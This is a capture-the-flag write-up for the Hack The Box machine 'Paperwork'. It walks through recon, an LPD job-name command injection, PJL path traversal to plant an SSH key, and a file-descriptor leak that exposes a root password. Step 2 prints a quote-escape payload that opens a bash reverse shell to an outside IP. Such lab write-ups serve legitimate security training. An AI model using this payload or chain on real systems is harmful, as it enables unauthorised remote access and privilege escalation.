~ / writeups / paperwork

Paperwork

Hack The Box · Easy · Linux

Easy Linux User + Root owned

Machine Overview

Field Value
Name Paperwork
Difficulty Easy
OS Linux (Ubuntu, nginx 1.28.0, OpenSSH 10.0p2)
IP 10.129.248.117
Vhost paperwork.htb
Key components LPD "Archive_Printer" (RFC1179, :1515), JetDirect/PJL simulator (:9100, as archivist), paperwork-daemon (root, Unix socket)
Open ports 22 (SSH), 80 (nginx), 1515 (custom LPD)

Flags

Flag Path Value
User /home/archivist/user.txt [REDACTED]
Root /root/root.txt [REDACTED]

Attack Chain

1. Reconnaissance

  • nmap -p- → 22 (SSH), 80 (nginx → paperwork.htb), 1515 (Archive_Printer is ready and printing.).
  • Web "Intake Portal" (Department of Records & Archives) leaks the config: Protocol RFC 1179, Target Queue archive_intake, Internal Processor paperwork-archive-v1.02 (downloadable source).

2. Source review → LPD command injection

  • Downloaded /download/archive (paperwork-archive-v1.02.zip → server.py).
  • server.py parses the LPD control file; the J line's job_name flows into subprocess.Popen(f"echo 'Archive: {job_name}' >> /tmp/archive.log", shell=True) — command injection.
  • Payload x'; bash -c 'bash -i >& /dev/tcp/10.10.14.10/4444 0>&1'; # → reverse shell as lp (uid 7).

3. JetDirect/PJL path traversal

  • jetdirect.service runs jetdirect.py as archivist, listening on 127.0.0.1:9100, root dir /home/archivist/printer/.
  • _translate() does os.path.normpath(os.path.join(root, clean)) without verifying the result stays under root → ../ traversal.
  • FSUPLOAD NAME="../user.txt" → read user flag [REDACTED].
  • FSDOWNLOAD NAME="../.ssh/authorized_keys" (NAME before SIZE, no FORMAT:BINARY) → wrote my ed25519 pubkey → SSH as archivist.

4. SCM_RIGHTS fd leak → ADMIN_PASSWORD

  • paperwork.service (paperwork-daemon, root) opens /etc/paperwork/admin_pins.conf at startup (admin_fd).
  • It watches /home/archivist/printer/logs/commands.log; when the log contains FSQUERY/FSUPLOAD/FSDOWNLOAD, the next client on /run/paperwork/mgmt.sock (mode 660 root:archivist) receives log_fd + admin_fd via SCM_RIGHTS.
  • Triggered a FSQUERY, connected to the socket, recvmsg() → read admin_fd → ADMIN_PASSWORD=….

5. Root

  • su - root -c 'id; cat /root/root.txt' with the leaked password → root flag [REDACTED] (verified uid=0(root)).

Techniques Demonstrated

  1. LPD (RFC 1179) raw-TCP interaction (port 1515)
  2. Command injection via unsanitized shell=True f-string (x'; cmd; # quote-escape)
  3. JetDirect/PJL file-system ops (FSDIRLIST/FSUPLOAD/FSDOWNLOAD) with UEL framing
  4. Path traversal via os.path.normpath(join(...)) without a root-containment check
  5. Arbitrary file write → SSH authorized_keys injection → interactive shell
  6. Unix-socket SCM_RIGHTS file-descriptor leak (root daemon leaking an already-open secret)
  7. Password reuse (ADMIN_PASSWORD) → su root

Tools Used

nmap, curl, Python 3 (socket for LPD/PJL/SCM_RIGHTS, paramiko for SSH, websocket n/a), ssh-keygen.

← all writeups